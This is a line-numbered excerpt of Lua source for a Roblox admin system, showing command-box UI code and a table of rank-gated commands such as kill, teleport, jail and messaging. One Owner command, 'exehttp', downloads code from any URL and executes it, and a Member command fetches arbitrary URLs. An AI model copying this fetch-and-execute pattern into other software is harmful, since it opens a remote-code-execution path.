  4070. CommandBox.MouseEnter:connect(function()
  4071. if CommandBox.Text == "Enter a command here" then
  4072. CommandBox.Text = ""
  4073. end
  4074. end)
  4075.  
  4076. local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
  4077. CORE:ExecuteResource("ChatBoxLocal", CommandBox)
  4078.  
  4079. Execute.MouseButton1Down:connect(ExecuteText)
  4080. EnterPressed.OnServerInvoke = ExecuteText
  4081.  
  4082. CommandBox.Changed:connect(function(Prop) if Prop == "Text" then
  4083. Suggest.CanvasSize = UDim2.new(0,0,0,0)
  4084. Suggest:ClearAllChildren()
  4085. local Text = CommandBox.Text
  4086. if Text == "" then
  4087. AddSuggestion(Settings.Prefix)
  4088. end
  4089.  
  4090. if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
  4091. Text = string.sub(Text,#Settings.Prefix+1)
  4092. end
  4093. for _,Data in pairs(UsableCommands) do
  4094. local Command,Args = Data[1],Data[2]
  4095. if string.find(string.lower(Command),string.lower(Text)) then
  4096. local NewSuggestion = Command
  4097. if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
  4098. AddSuggestion(NewSuggestion)
  4099. end
  4100. end
  4101.  
  4102. end end)
  4103. end
  4104.  
  4105. function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
  4106. if not Player or not AllSeconds then return nil end
  4107. AllSeconds = tonumber(AllSeconds)
  4108. local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
  4109. AllSeconds = math.floor(AllSeconds)
  4110. if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
  4111. local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
  4112. local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
  4113. local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
  4114. local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
  4115. local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
  4116.  
  4117. local CurrentSeconds = AllSeconds
  4118. local Alive = true
  4119. coroutine.wrap(function() for i = 0,AllSeconds do
  4120. if not Alive then break end
  4121. local Seconds = tostring(math.fmod(CurrentSeconds,60))
  4122. local Minutes = tostring(math.floor(CurrentSeconds/60))
  4123. if #Seconds == 1 then Seconds = "0"..Seconds end
  4124. if #Minutes == 1 then Minutes = "0"..Minutes end
  4125. Time.Text = Minutes..":"..Seconds
  4126. wait(1)
  4127. if CurrentSeconds <= 0 then
  4128. Alarm:Play()
  4129. Time.Text = "00:00"
  4130. Part.Size = UDim2.new(1,0,1,0)
  4131. Restore:Invoke()
  4132. wait(4)
  4133. Close:Invoke()
  4134. break
  4135. else
  4136. Tick:Play()
  4137. Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
  4138. CurrentSeconds = CurrentSeconds - 1
  4139. end
  4140. end end)()
  4141.  
  4142. Closed.Event:connect(function()
  4143. if Alive == true then
  4144. Alive = false
  4145. Tick:Stop()
  4146. Alarm:Stop()
  4147. end
  4148. end)
  4149. end)() end
  4150.  
  4151.  
  4152. ---- COMMANDS ----
  4153.  
  4154. -- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
  4155.  
  4156. Commands = { -- can't make local
  4157. [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
  4158. GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
  4159. end};
  4160.  
  4161. [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
  4162. local Players = STRING:Scan(Arguments[1], Speaker)
  4163. for _,Player in pairs(Players) do
  4164. if Player.Character then
  4165. Player.Character:BreakJoints()
  4166. end
  4167. end
  4168. end};
  4169.  
  4170. [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
  4171. local Players = STRING:Scan(Arguments[1], Speaker)
  4172. for _,Player in pairs(Players) do
  4173. if Player.Character then
  4174. Instance.new("ForceField", Player.Character)
  4175. end
  4176. end
  4177. end};
  4178.  
  4179. [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
  4180. local Players = STRING:Scan(Arguments[1], Speaker)
  4181. for _,Player in pairs(Players) do
  4182. if Player.Character then
  4183. for _,Get in pairs(Player.Character:GetChildren()) do
  4184. if Get:IsA("ForceField") then
  4185. Get:Destroy()
  4186. end
  4187. end
  4188. end
  4189. end
  4190. end};
  4191.  
  4192. [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
  4193. for _,Player in pairs(Server.Players:GetPlayers()) do
  4194. GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true)
  4195. end
  4196. end};
  4197.  
  4198. [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
  4199. for _,Player in pairs(Server.Players:GetPlayers()) do
  4200. GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569)
  4201. end
  4202. end};
  4203.  
  4204. [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
  4205. local Players = STRING:Scan(Arguments[1], Speaker)
  4206. for _,Player in pairs(Players) do
  4207. GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20)
  4208. end
  4209. end};
  4210.  
  4211. [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  4212. local Players = STRING:Scan(Arguments[1], Speaker)
  4213. local AgeList = {}
  4214. for _,Player in pairs(Players) do
  4215. table.insert(AgeList, Player.Name..": "..CORE:FindAge(Player.AccountAge))
  4216. end
  4217. GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
  4218. end};
  4219.  
  4220. [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
  4221. local Players = STRING:Scan(Arguments[1], Speaker)
  4222. local AgeList = {}
  4223. for _,Player in pairs(Players) do
  4224. table.insert(AgeList, Player.Name..": "..CORE:FindAge(Player.AccountAge))
  4225. end
  4226. local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
  4227. for _,Player in pairs(SecondPlayers) do
  4228. GUI:ListGui(Player, "Player Ages", AgeList, "Time")
  4229. end
  4230. end};
  4231.  
  4232. [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  4233. local Storage = {{}, {}, {}, {}}
  4234. local StorageText = {}
  4235. local Formatted = {}
  4236. for CommandNames,Data in pairs(Commands) do
  4237. if not Data.Hidden then
  4238. local RankNeeded = RANK:ConvertRank(Data[4])
  4239. local Add = ""
  4240. if Data[4] == "Non-Admin" then Add = "BLACK " end
  4241. if Data[4] == "Admin" then Add = "WHITE " end
  4242. if Data[4] == "Member" then Add = "BLUE " end
  4243. if Data[4] == "Owner" then Add = "YELLOW " end
  4244. if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
  4245. local AddBet = Settings.Bet
  4246. if Data[3] <= 0 then AddBet = "" end -- for commands with no args
  4247. local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
  4248. table.insert(Storage[RankNeeded + 1], Add..Text)
  4249. StorageText[Text] = CommandNames
  4250. end
  4251. end
  4252. for Num,_ in pairs(Storage) do
  4253. table.sort(Storage[Num])
  4254. end
  4255. for _,Table in pairs(Storage) do
  4256. for _,Command in pairs(Table) do
  4257. table.insert(Formatted, Command)
  4258. end
  4259. end
  4260. local Clicked = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
  4261. Clicked.Event:connect(function(Text)
  4262. GUI:ShowCommand(Speaker, StorageText[Text])
  4263. end)
  4264. end};
  4265.  
  4266. [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
  4267. GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
  4268. end};
  4269.  
  4270. [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
  4271. if GUI:GetColor(Arguments[1]) then
  4272. local ColorScheme = string.upper(Arguments[1])
  4273. if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
  4274. Settings.ColorScheme = ColorScheme
  4275. GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
  4276. else
  4277. GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
  4278. end
  4279. end};
  4280.  
  4281. [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
  4282. local List = {}
  4283. for Color,_ in pairs(Colors) do
  4284. table.insert(List, Color.." "..Color)
  4285. end
  4286. GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
  4287. end};
  4288.  
  4289. [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
  4290. local Transparency = tonumber(Arguments[1])
  4291. if Transparency then
  4292. if Transparency > 90 then Transparency = 90 end
  4293. if Transparency < 10 then Transparency = 10 end
  4294. Settings.TransparencyScheme = Transparency/100
  4295.  
  4296. GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
  4297. else
  4298. GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
  4299. end
  4300. end};
  4301.  
  4302. [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
  4303. if Fonts[Arguments[1]] then
  4304. Settings.Font = Arguments[1]
  4305. GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
  4306. end
  4307. end};
  4308.  
  4309. [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
  4310. Settings.Fun = not Settings.Fun
  4311. GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
  4312. end};
  4313.  
  4314. [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
  4315. Settings.DisableAbuse = not Settings.DisableAbuse
  4316. GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
  4317. end};
  4318.  
  4319. [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
  4320. local List = {}
  4321. for Font,_ in pairs(Fonts) do
  4322. if Font == Settings.Font then
  4323. table.insert(List, Font.." "..Font.." (CURRENT FONT)")
  4324. else
  4325. table.insert(List, Font.." "..Font)
  4326. end
  4327. end
  4328. GUI:ListGui(Speaker, "Font list", List, 44453197)
  4329. end};
  4330.  
  4331. [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  4332. local SoundID = tonumber(Arguments[1])
  4333. if SoundID then
  4334. Settings.ExecuteNotificationSound = SoundID
  4335.  
  4336. GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
  4337. else
  4338. GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
  4339. end
  4340. end};
  4341.  
  4342. [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
  4343. Settings.ExecuteNotificationSound = 0
  4344. end};
  4345.  
  4346. [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
  4347. local Players = STRING:Scan(Arguments[1], Speaker)
  4348. for _,Player in pairs(Players) do
  4349. CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
  4350. end
  4351. end};
  4352.  
  4353. [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
  4354. local Players = STRING:Scan(Arguments[1], Speaker)
  4355. for _,Player in pairs(Players) do
  4356. CORE:ChangeCharacter(Player, 13416513, false, Speaker)
  4357. end
  4358. end};
  4359.  
  4360. [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
  4361. local Players = STRING:Scan(Arguments[1], Speaker)
  4362. for _,Player in pairs(Players) do
  4363. coroutine.wrap(function()
  4364. CORE:ChangeCharacter(Player, 38837082, false, Speaker)
  4365. wait(1)
  4366. GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
  4367. end)()
  4368. end
  4369. end, Hidden = true};
  4370.  
  4371. [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
  4372. local Players = STRING:Scan(Arguments[1], Speaker)
  4373. for _,Player in pairs(Players) do
  4374. CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
  4375. end
  4376. end};
  4377.  
  4378. [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
  4379. local Players = STRING:Scan(Arguments[1], Speaker)
  4380. for _,Player in pairs(Players) do
  4381. CORE:ChangeName(Player, Arguments[2])
  4382. end
  4383. end};
  4384.  
  4385. [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
  4386. local Players = STRING:Scan(Arguments[1], Speaker)
  4387. for _,Player in pairs(Players) do
  4388. if Player.Character then
  4389. local Head = Player.Character:FindFirstChild("Label")
  4390. if Head then Head:Destroy() end
  4391. local Head = Player.Character:FindFirstChild("Head")
  4392. if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
  4393. end
  4394. end
  4395. end};
  4396.  
  4397. [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
  4398. local Players = STRING:Scan(Arguments[1], Speaker)
  4399. for _,Player in pairs(Players) do
  4400. CORE:ChangeCharacter(Player, 11397, false, Speaker)
  4401. end
  4402. end};
  4403.  
  4404. [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
  4405. local Players = STRING:Scan(Arguments[1], Speaker)
  4406. for _,Player in pairs(Players) do
  4407. local _,RankNum = RANK:GetRank(Player)
  4408. if RankNum <= RANK:ConvertRank(Rank) then
  4409. Server.TS:Teleport(Arguments[2], Player)
  4410. end
  4411. end
  4412. end};
  4413.  
  4414. [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
  4415. local Players = STRING:Scan(Arguments[1], Speaker)
  4416. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
  4417. if Suc then
  4418. for _,Player in pairs(Players) do
  4419. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
  4420. end
  4421. else
  4422. GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
  4423. end
  4424. end};
  4425.  
  4426. [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
  4427. local Players = STRING:Scan(Arguments[1], Speaker)
  4428. MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
  4429. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
  4430. if Suc then
  4431. for _,Player in pairs(Players) do
  4432. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
  4433. end
  4434. else
  4435. GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
  4436. end
  4437. end)
  4438. end};
  4439.  
  4440. [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
  4441. local Players = STRING:Scan(Arguments[1], Speaker)
  4442. for _,Player in pairs(Players) do
  4443. local _,RankNum = RANK:GetRank(Player)
  4444. if RankNum < RANK:ConvertRank(Rank) then
  4445. Server.TS:Teleport(155307015, Player)
  4446. end
  4447. end
  4448. end};
  4449.  
  4450. [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  4451. local Players = STRING:Scan(Arguments[1], Speaker)
  4452. for _,Player in pairs(Players) do
  4453. CORE:GenerateShield(Player)
  4454. end
  4455. end};
  4456.  
  4457. [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  4458. local Players = STRING:Scan(Arguments[1], Speaker)
  4459. for _,Player in pairs(Players) do
  4460. if Player.Character then
  4461. local Shield = Player.Character:FindFirstChild("Shield")
  4462. if Shield then Shield:Destroy() end
  4463. end
  4464. end
  4465. end};
  4466.  
  4467. [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
  4468. local Num = tonumber(Arguments[1])
  4469. if Num and Num ~= 0 then
  4470. local Random = math.random(1,math.abs(Num))
  4471. if Random == math.random(1,math.abs(Num)) then
  4472. GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
  4473. else
  4474. GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
  4475. end
  4476. else
  4477. GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
  4478. end
  4479. end};
  4480.  
  4481. [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
  4482. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
  4483. IRC:AddChat(Speaker.Name, Arguments[1])
  4484. end};
  4485.  
  4486. --[[
  4487. [{"newserver", "makeserver"}] = {"", "Opens new server on the current game (HTTP)", 0, "Owner", false, function(Speaker, Rank, Arguments)
  4488. local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
  4489. if Res then
  4490. GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
  4491. end
  4492. end};
  4493.  
  4494. [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game (HTTP)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  4495. local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
  4496. if Res then
  4497. GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
  4498. end
  4499. end};
  4500. ]]
  4501.  
  4502. [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
  4503. IRC:Quit("Reconnecting")
  4504. IRC:ConnectToServer(Settings.IRCServer)
  4505. end};
  4506.  
  4507. [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  4508. local Players = STRING:Scan(Arguments[1], Speaker)
  4509. for _,Player in pairs(Players) do
  4510. local PreAdd = {}
  4511. for _,Data in pairs(IRC.Chats) do
  4512. local Error = nil
  4513. if Rank == "Owner" then Error = Data[3] end
  4514. table.insert(PreAdd, {Data[1], Data[2], Error})
  4515. end
  4516. local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
  4517. IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
  4518. if Rank ~= "Owner" then Error = nil end
  4519. AddMessage:Invoke(UserName, Message, Error)
  4520. end)
  4521. SendPressed.Event:connect(function(Text)
  4522. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
  4523. IRC:AddChat(Player.Name, Text)
  4524. end)
  4525. end
  4526. end};
  4527.  
  4528. [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
  4529. local Players = STRING:Scan(Arguments[1], Speaker)
  4530. for _,Player in pairs(Players) do
  4531. local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
  4532. if Type == "Leave" then
  4533. PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
  4534. elseif Type == "Join" then
  4535. PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
  4536. end
  4537. end)
  4538. PriChat.Chatted.Event:connect(function(UserName, Message)
  4539. AddMessage:Invoke(UserName, Message)
  4540. end)
  4541. SendPressed.Event:connect(function(Text)
  4542. PriChat.Chatted:Fire(Player.Name, Text)
  4543. table.insert(PriChat.Chats, {Player.Name, Text})
  4544. end)
  4545. end
  4546. end};
  4547.  
  4548. [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
  4549. CORE:Execute(Arguments[1], Speaker)
  4550. end};
  4551.  
  4552. [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link (HTTP)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  4553. local Script = REMOTE:GetURL(Arguments[1], Player)
  4554. if Script then
  4555. CORE:Execute(Script, Speaker)
  4556. end
  4557. end};
  4558.  
  4559. [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL (HTTP)", 1, "Member", false, function(Speaker, Rank, Arguments)
  4560. local Time = tick()
  4561. local Res = REMOTE:GetURL(Arguments[1], Player)
  4562. if Res then
  4563. GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
  4564. end
  4565. end};
  4566.  
  4567. [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
  4568. CORE:RemoveAdmin(Speaker)
  4569. end};
  4570.  
  4571. [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
  4572. for _,Player in pairs(Server.Players:GetPlayers()) do
  4573. GUI:SendHint(Player, Arguments[1])
  4574. end
  4575. end};
  4576.  
  4577. [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself (HTTP)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  4578. local Players = STRING:Scan(Arguments[1], Speaker)
  4579. local Debt = nil
  4580. for _,Player in pairs(Players) do
  4581. if not Debt then
  4582. Debt = GUI:ShowDebtStats(Player)
  4583. else
  4584. GUI:ShowDebtStats(Player, Debt)
  4585. end
  4586. end
  4587. end};
  4588.  
  4589. [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player ranks though color", 1, "Member", false, function(Speaker, Rank, Arguments)
  4590. local Players = STRING:Scan(Arguments[1], Speaker)
  4591. for _,Player in pairs(Players) do
  4592. GUI:CreateHUD(Player)
  4593. end
  4594. end};
  4595.  
  4596. [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
  4597. local Players = STRING:Scan(Arguments[1], Speaker)
  4598. for _,Player in pairs(Players) do
  4599. if Player:FindFirstChild("PlayerGui") then
  4600. local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
  4601. if HUD then HUD:Destroy() end
  4602. end
  4603. end
  4604. end};
  4605.  
  4606. [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
  4607. local Players = STRING:Scan(Arguments[1], Speaker)
  4608. GUI:Vote(Speaker, Players, Arguments[2], 30)
  4609. end};
  4610.  
  4611. [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
  4612. local Players = STRING:Scan(Arguments[1], Speaker)
  4613. for _,Player in pairs(Players) do
  4614. CORE:ExecuteResource("Bomb", Player.Character)
  4615. end
  4616. end};
  4617.  
  4618. [{"debug"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
  4619. local Players = STRING:Scan(Arguments[1], Speaker)
  4620. for _,Player in pairs(Players) do
  4621. CORE:ChangeCharacter(Player, Player.userId, false, Speaker)
  4622. CORE:RestoreCamera(Player)
  4623. end
  4624. end};
  4625.  
  4626. [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
  4627. local Players1 = STRING:Scan(Arguments[1], Speaker)
  4628. local Players2 = STRING:Scan(Arguments[2], Speaker)
  4629. for _,Player1 in pairs(Players1) do
  4630. if Player1.Character and Player1.Character:FindFirstChild("Torso") then
  4631. for _,Player2 in pairs(Players2) do
  4632. if Player2.Character and Player2.Character:FindFirstChild("Torso") then
  4633. Player1.Character:MoveTo(Player2.Character.Torso.Position)
  4634. end
  4635. end
  4636. end
  4637. end
  4638. end};
  4639.  
  4640. [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
  4641. local Players = STRING:Scan(Arguments[1], Speaker)
  4642. for _,Player in pairs(Players) do
  4643. Player:LoadCharacter()
  4644. end
  4645. end};
  4646.  
  4647. [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
  4648. local Players = STRING:Scan(Arguments[1], Speaker)
  4649. for _,Player in pairs(Players) do
  4650. CORE:RestoreCamera(Player)
  4651. end
  4652. end};
  4653.  
  4654. [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
  4655. local Players = STRING:Scan(Arguments[1], Speaker)
  4656. for _,Player in pairs(Players) do
  4657. CORE:Jail(Player)
  4658. end
  4659. end};
  4660.  
  4661. [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
  4662. local Players = STRING:Scan(Arguments[1], Speaker)
  4663. for _,Player in pairs(Players) do
  4664. CORE:UnJail(Player)
  4665. end
  4666. end};
  4667.  
  4668. [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
  4669. SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
  4670. end};
  4671.  
  4672. [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
  4673. SOUND:StopSpeaking()
  4674. end};
  4675.  
  4676. [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
  4677. local Players = STRING:Scan(Arguments[1], Speaker)
  4678. local Compile = {}
  4679. for Num,Player in pairs(Players) do
  4680. local PlayerRank = RANK:GetRank(Player)
